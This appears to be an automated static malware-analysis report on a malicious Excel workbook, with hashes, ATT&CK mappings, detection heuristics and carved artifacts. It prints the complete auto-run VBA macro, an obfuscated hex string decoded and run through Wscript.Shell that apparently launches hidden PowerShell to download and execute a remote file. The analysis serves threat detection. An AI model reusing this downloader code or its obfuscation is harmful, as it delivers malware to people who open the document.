Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 787a31e76d10db36…

MALICIOUS

Office (OOXML)

12.7 KB Created: 2020-08-17 00:07:19 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-15
MD5: 909496cea08b69ff4a51c7022e730c1f SHA-1: 25a77d5624728c447433eb2d1902741707871949 SHA-256: 787a31e76d10db361856a54d27fd085d692dad33762b5378e032d606ffeaef20
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The file is a malicious Excel document containing a Workbook_Open VBA macro. This macro utilizes Wscript.Shell to execute obfuscated code. The obfuscated code decodes a string, likely a command or URL, which is then executed. This behavior is consistent with a downloader or dropper malware.

Heuristics 7

  • ClamAV: Xls.Downloader.Obfuse-9382072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Obfuse-9382072-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454928697889A9898948E915388949254778E985C927898907A6A5A5A73987B538A9D8A4C51498A939B5F798A9295504C816C97757176538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454928697889A9898948E915388949254778E985C927898907A6A5A5A73987B538A9D8A4C51498A939B5F798A9295504C816C97757176538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1531 bytes
SHA-256: 35a9326c42867706eb5645c7a757e3ef17a934e6e8063328debf8c40ecfdddab
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454928697889A9898948E915388949254778E985C927898907A6A5A5A73987B538A9D8A4C51498A939B5F798A9295504C816C97757176538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C816C97757176538A9D8A4C4E")
End Sub
  Function hello(hlole As String)
        Dim holle As Integer
        Dim i As Integer
        Dim holel
        holle = 33
        holel = ""
        For i = 1 To Len(hlole) Step 2
            holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 37)
        Next
        hello = holel
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: 41c1cf938a9ac540bc4319bce23ae234b98656f06ad37144a19924f1f3e78125
Detection
ClamAV: Xls.Downloader.Obfuse-9382072-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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